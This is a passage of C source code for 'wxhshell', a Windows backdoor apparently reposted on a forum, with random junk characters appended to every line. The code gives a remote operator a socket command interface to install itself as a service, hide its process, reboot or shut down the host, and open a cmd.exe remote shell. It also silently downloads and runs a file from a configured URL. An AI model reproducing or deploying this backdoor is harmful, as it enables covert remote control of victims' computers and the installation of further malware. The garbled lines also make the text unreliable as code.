  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6qfL-( G  
  }  hUy"XXpr  
  else { .$nQD.X  
:t?Z  
    switch(cmd[0]) { +[386  
  7,0^|P  
  // 帮助 G&qO{" Js  
  case '?': { aH7i$U&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yH}(0  
    break; t){})nZ/4  
  } dq d:V$o  
  // 安装 z|,YO6(L  
  case 'i': { z8v]Kt&  
    if(Install()) GZY8%.1{"a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9z>I&vcX  
    else :&*Y Io  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *d%"/l^0  
    break; o@SL0H-6|  
    } wuRB[KLe  
  // 卸载 -E, d)O`;$  
  case 'r': { XL9smFq  
    if(Uninstall()) @Z9X^Y+u^h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qPle=6U[IL  
    else kpT>xS^6<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _}8hE v  
    break; d.wu   
    } ~<[$.8*  
  // 显示 wxhshell 所在路径 byALM  
  case 'p': { H?-Byi  
    char svExeFile[MAX_PATH]; 8:*   
    strcpy(svExeFile,"\n\r"); (9gL  
      strcat(svExeFile,ExeFile); P`ZzrN  
        send(wsh,svExeFile,strlen(svExeFile),0); &>Zm gz  
    break; 1< gY  
    } \<k5c-8Hb  
  // 重启 gumT"x .^  
  case 'b': { er<yB#/;-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +fh@m h0[  
    if(Boot(REBOOT)) c3S}(8g5.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !4"(>Rnw  
    else { QH z3  
    closesocket(wsh); [4p~iGC  
    ExitThread(0); ~SKV%  
    } .`./MRC  
    break; 1Q[I$=-F  
    } (i..7B:  
  // 关机 ylFoYROO  
  case 'd': { \gz(C`4{j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > 4n\  
    if(Boot(SHUTDOWN)) 9i9'Rd`g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*"uXTS  
    else { uJxT)m!/  
    closesocket(wsh); ].AAHu5  
    ExitThread(0); <Wd#HKIG>l  
    } h2k"iO }  
    break; }57s  
    } ZLP)i;Az  
  // 获取shell +pcGxje\  
  case 's': { FM{^ND9x  
    CmdShell(wsh); AvP$>Alc  
    closesocket(wsh); 3C[#_&_l  
    ExitThread(0); Sj=x.Tr\  
    break; > nHaMj  
  } &A/k{(.XP  
  // 退出 4F[4H\>'  
  case 'x': { 7'IcgTWDZy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _E\Cm  
    CloseIt(wsh); V{A_\  
    break; E`0mn7.t  
    } gc<w nm|  
  // 离开 c{"=p8F_  
  case 'q': { {J&[JA\   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;?{[vLHDL  
    closesocket(wsh); =6.4  
    WSACleanup(); /)+V(Jlu  
    exit(1); T`ofj7$:  
    break; G 6r2 "  
        } j\hI, mc  
  } nYFM^56>_  
  } `jHbA#sO  
}}?,({T|n  
  // 提示信息 zf4\V F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Z~} dWI  
} b((> ?=hh  
  } Jn:h;|9w  
S4ys)!V1V  
  return; T]_]{%z  
} "26=@Q^Y  
R$|"eb5  
// shell模块句柄 5&C:&=Y  
int CmdShell(SOCKET sock) m%ec=%L9  
{ !B*l'OJw  
STARTUPINFO si; +nAbcBJAl  
ZeroMemory(&si,sizeof(si)); o;kxu(>yL'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i!<1&{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !VDNqW  
PROCESS_INFORMATION ProcessInfo; m;4qs#qCg?  
char cmdline[]="cmd"; SSQB1c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V|3^H^\5P  
  return 0; ,=IGqw  
} 7g7[a/Bts  
GQH15_  
// 自身启动模式 .&i_~?1[N  
int StartFromService(void) @sdHB ./  
{ +0l-zd\  
typedef struct Q\W?qB_  
{ {*PbD;/f  
  DWORD ExitStatus; WGwIc7  
  DWORD PebBaseAddress; 1IPRI<1U  
  DWORD AffinityMask; '< .gKo  
  DWORD BasePriority; {j8M78}3  
  ULONG UniqueProcessId; [4 v1 N  
  ULONG InheritedFromUniqueProcessId; yM2}J s C  
}   PROCESS_BASIC_INFORMATION; w}qLI4  
cjp~I/U  
PROCNTQSIP NtQueryInformationProcess; ,f@\Fs~n  
xNd p]u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Oq9E$0JW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B&+)s5hh  
dW5@Z-9  
  HANDLE             hProcess; }'p"q )  
  PROCESS_BASIC_INFORMATION pbi; d-cW47  
BUs={"Pa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kBeYl+*pk  
  if(NULL == hInst ) return 0; Y@y"bjK \  
/(u# D[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k>)Uyw$!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J kxsua  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .<zN/&MXf  
z -c1,GOD  
  if (!NtQueryInformationProcess) return 0; C=Tq/L w  
{ePtZyo0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vR7S !  
  if(!hProcess) return 0; ^M)+2@6  
7G+E+A5o&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K>vi9,4/ks  
$%6.lQ  
  CloseHandle(hProcess); yvWM]A  
9RPZj>ezjA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;(-Wc9=  
if(hProcess==NULL) return 0; tc0(G~.N  
$@HW|Y  
HMODULE hMod; eg1Mdg\a  
char procName[255]; FnPn#Cv>*  
unsigned long cbNeeded; U4N H9-U'  
zRMz8IC.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 34,'smHi%  
K!,9qH  
  CloseHandle(hProcess); Yosfk\D  
Ay6]vU  
if(strstr(procName,"services")) return 1; // 以服务启动 {.])' ~[U  
=o:1Rc7J  
  return 0; // 注册表启动 / K(l[M  
} M`&78j  
J9/EJ'My  
// 主模块 Urz9S3#\  
int StartWxhshell(LPSTR lpCmdLine) < V*/1{  
{ -EJj j {  
  SOCKET wsl; ;efF]")  
BOOL val=TRUE; tM|/OJ7  
  int port=0; T#\=v(_NR  
  struct sockaddr_in door; BJt]k7ku+  
S6<#] 6 Z  
  if(wscfg.ws_autoins) Install(); t$3B#=  
|'``pq/}_  
port=atoi(lpCmdLine); OFxCV`>ce  
j>?`N^  
if(port<=0) port=wscfg.ws_port; ceuEsQ}  
Ss3~X90!*B  
  WSADATA data; Q?bCQZ{-Lh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %ol\ sO|  
[Z2{S-)UM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mM r$~^P:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^-Rqlr,F;  
  door.sin_family = AF_INET; ^3ai}Ei3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'YJ~~o  
  door.sin_port = htons(port); CXBFR>"  
h[;DRD!Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {"2Hv;x  
closesocket(wsl); Mh2Zj  
return 1; TBIr^n>Z<k  
} VU1Wr|  
"g*`G<W_s  
  if(listen(wsl,2) == INVALID_SOCKET) { K 6yD64  
closesocket(wsl); yIC C8M  
return 1; I Z|EPzS  
} <KJ|U0/jGd  
  Wxhshell(wsl); `oTV)J'~  
  WSACleanup(); CTe!jMZ=  
}qJ`nN8  
return 0; e8E'X  
XmaRg{22  
} icQQLSU5  
($Op*bR  
// 以NT服务方式启动 $DaQM'-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :r2d%:h%2  
{ }KYOde@  
DWORD   status = 0; voFg6zoV_  
  DWORD   specificError = 0xfffffff; kxR!hA8wv4  
v cUGBGX_&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dOK]Su  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )5`~WzA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4M!wm]n/%5  
  serviceStatus.dwWin32ExitCode     = 0; uz I-1@`  
  serviceStatus.dwServiceSpecificExitCode = 0; XgyLlp;,O  
  serviceStatus.dwCheckPoint       = 0; Y_6 v@SiO  
  serviceStatus.dwWaitHint       = 0; MJ$.ST  
@} +k]c25  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?,] eN&`  
  if (hServiceStatusHandle==0) return; j rxq558  
wA"d?x  
status = GetLastError(); v$xurj:v#i  
  if (status!=NO_ERROR) >X*G6p  
{ 505ejO|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YhzDw8f  
    serviceStatus.dwCheckPoint       = 0; cE>m/^SKr  
    serviceStatus.dwWaitHint       = 0; d+vAm3.Dg  
    serviceStatus.dwWin32ExitCode     = status; xSm~V3b c  
    serviceStatus.dwServiceSpecificExitCode = specificError; &JYkh >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /6F\]JwU  
    return; da~_(giD*  
  } G^cMY$?99  
&^w "  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m?gGFxo  
  serviceStatus.dwCheckPoint       = 0; YS@T Q?  
  serviceStatus.dwWaitHint       = 0; 1JJ1!& >  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ce*W 9`  
} Ly/  
0176  
// 处理NT服务事件,比如:启动、停止 B873UN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @LFB}B  
{ t&p I  
switch(fdwControl) Vc6 >i|"-O  
{ ?p/}eRgi  
case SERVICE_CONTROL_STOP: ao0^;  
  serviceStatus.dwWin32ExitCode = 0; 4c qf=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =.OzpV)=V  
  serviceStatus.dwCheckPoint   = 0; K}M lC}oIt  
  serviceStatus.dwWaitHint     = 0; XH(-anU"!P  
  { Y DW^N] G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TyA1Qk\  
  } <$pv;]n  
  return; cL!A,+S[_  
case SERVICE_CONTROL_PAUSE: u\M xQIo'u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '@ p464  
  break; WJ)4rQ$o  
case SERVICE_CONTROL_CONTINUE: .LDp.#d9r1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LitdO>%#2  
  break; ..k8HFz>"  
case SERVICE_CONTROL_INTERROGATE: Kv:Rvo  
  break; +sTPTCLE  
}; = y(*?TZH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H+5+;`;  
} Q1{9>NI  
@h_ bXo  
// 标准应用程序主函数 ,`OQAJ)>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4;>HBCM4-  
{ oX*;iS X  
uJlW$Oc:.  
// 获取操作系统版本 yyk@f%  
OsIsNt=GetOsVer(); T@`Al('  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >)u{%@Rcy{  
c10$5V&@  
  // 从命令行安装 717G CL@  
  if(strpbrk(lpCmdLine,"iI")) Install(); _yX.Apv]  
Jh<s '&FR  
  // 下载执行文件 OSLZ7B^  
if(wscfg.ws_downexe) { ^fyue~9u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s&'FaqE  
  WinExec(wscfg.ws_filenam,SW_HIDE); | lZJt  
} Fa\jVFIQ  
!! )W`  
if(!OsIsNt) { mhOgv\?  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ud2Tn*QmI  
HideProc(); : bi(mX7t  
StartWxhshell(lpCmdLine); Ml;` *;  
} ?=^\kXc[  
else q9PjQ%  
  if(StartFromService()) w(z=xO  
  // 以服务方式启动 (+cZP&o  
  StartServiceCtrlDispatcher(DispatchTable); NZ0?0*  
else \t/0Yh-'  
  // 普通方式启动 e*}GQ  
  StartWxhshell(lpCmdLine); Qca3{|r`  
wf1p/bpf  
return 0; >@ xe-0z  
}
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只看该作者 1 发表于: 2006-10-10
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